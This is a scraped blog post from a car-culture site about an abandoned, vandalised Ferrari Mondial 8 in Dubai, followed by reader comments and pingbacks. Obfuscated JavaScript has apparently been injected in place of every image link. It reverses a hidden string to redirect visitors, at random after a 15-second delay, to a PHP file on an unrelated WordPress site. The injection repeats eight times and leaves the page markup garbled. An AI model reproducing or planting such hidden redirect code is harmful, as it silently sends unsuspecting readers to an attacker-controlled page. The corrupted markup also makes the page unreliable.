Down on the street. Ferrari Mondial 8

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/down-on-the-street-ferrari-mondial-8/attachment/ferrari-mondial-11/” rel=”attachment wp-att-6328″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/02/Ferrari-Mondial-11.jpg” alt=”” width=”728″ height=”485″ />

As we were admiring the Rosso Red beauty a local resident wandered by and told us that the Mondial had been sitting there since at least 2007 when she moved into the area. Apparently it had only been vandalised into its current state a few months back – it had just been slowly rotting away before then.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/down-on-the-street-ferrari-mondial-8/attachment/ferrari-mondial-15/” rel=”attachment wp-att-6331″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/02/Ferrari-Mondial-15.jpg” alt=”” width=”728″ height=”485″ />

And rot it certainly has – the once smooth and svelte Pininfarina-designed body, which was built by Carrozzeria Scaglietti rather than Ferrari itself – is suffering massively from tin worm. There are gaping holes in the roof, door panels and in the interior.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/down-on-the-street-ferrari-mondial-8/attachment/ferrari-mondial-6/” rel=”attachment wp-att-6325″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/02/Ferrari-Mondial-6.jpg” alt=”” width=”728″ height=”485″ />

Ah yes, the cabin. What was once a sumptuous 2+2 seater finished with tan-coloured Connolly leather is now a dusty flea-ridden home to the local population of stray cats.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/down-on-the-street-ferrari-mondial-8/attachment/ferrari-mondial-4/” rel=”attachment wp-att-6323″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2011/02/Ferrari-Mondial-4.jpg” alt=”” width=”728″ height=”485″ />

Just 703 Mondial 8s were built in its short lifespan between 1980-1982 before being replaced by the Mondial QV and its F1-inspired 4valves-per-cylinder engine.

Categories: Lifestyle

,

Related Posts

No Comments

  3. OhhhMondialNice

    I don’t care if it isn’t a Ferrari “twelve”, nor do I care that it is one of the cheaper Ferraris which now costs less than a Toyota Camry.

    I love the Mondial 8 with its curvy lines, and short, squat mid-engine design. It epitomizes the romance of the materialistic eighties when the world was obsessed with anything Italian, and anything Ferrari.

    A car should look like a car; not a space ship designed in the wind tunnel and the Mondial looks like a sporty coupe that you get in with a British driver’s hat and a suede jacket and just drive it to the countryside on a summer Sunday afternoon.

    All the Mondial 8 critics can stick it! Bah, keep your F40’s, and Maranello 550 poseur machines. I’d love to own a 1989 (the more reliable years) Mondial T in a cabriolet version with the top down and a quiet, winding, oceanside road!

  5. Pingback: Ferrari Mondial 1980 abandonada em Dubai

  6. Pingback: Dolorpasión™: Ferrari Mondial abandonado en Dubai | Openanimo

  8. Pingback: Ferrari in its death throes « mr car

  9. Pingback: H ξεχασμένη Ferrari Mondial στο Dubai | AutoBlog.gr

  10. Pingback: Porzucone, bo było stare i brzydkie: Ferrari Mondial « złomnik

  11. Andy

    Hi there,

    A sad state indeed, and I suppose it is a result of the banking system here that forces people to abandon them, and the banks in turn have ‘insured’ the loan anyway so have zero desire to collect the vehicles in an attempt to finance the balance. The problem is that once they have sold the car to ‘defray’ their expense, they are no longer able to maintain any formal charges against the defrauder. I may be wrong, but this is how it was explained to me by a friend who was in the car business for years in Dubai.

    There is a car outside my apartment, that has been there since probably about the same time as this one. It is also in a bit of a sorry state but not nearly as bad as the example in the story. The windows are intact, and the interior, although the doors are unlocked, is still in reasonable shape.
    I would love to take this vehicle as a project car, it is not a Ferrari, but would make a very good runner and be easy to maintain, I jut cannot find out who the owner was/is and how much they still owed the bank when they ran. A running example of this particular car would ony fetch AED15K max so it cannot be worth a tenth of that at present. The number plate is still the old one with the burj on it, so it is difficult to track down the bank/owner detail.
    If anyone knows the procedure required to take on one of these abandoned cars, I would love to hear it.

  12. Pingback: Ferrari Mondial – opustené na ulici… | MadMechanics.EU

  14. Pingback: Random Thoughts... [Automotive Edition]

  15. Pingback: Tweets that mention Down on the street // Ferrari Mondial 8 « Crank&Piston » Car Culture Lifestyle Community -- Topsy.com

  16. Pingback: I’d Buy THATfor a Dollar

  17. seaninc

    Even though the Mondial isn’t a “great” Ferrari, it still is one of Maranello’s own. I wouldn’t hesitate to own one. On the flipside, I’d love the wheels and steering wheel.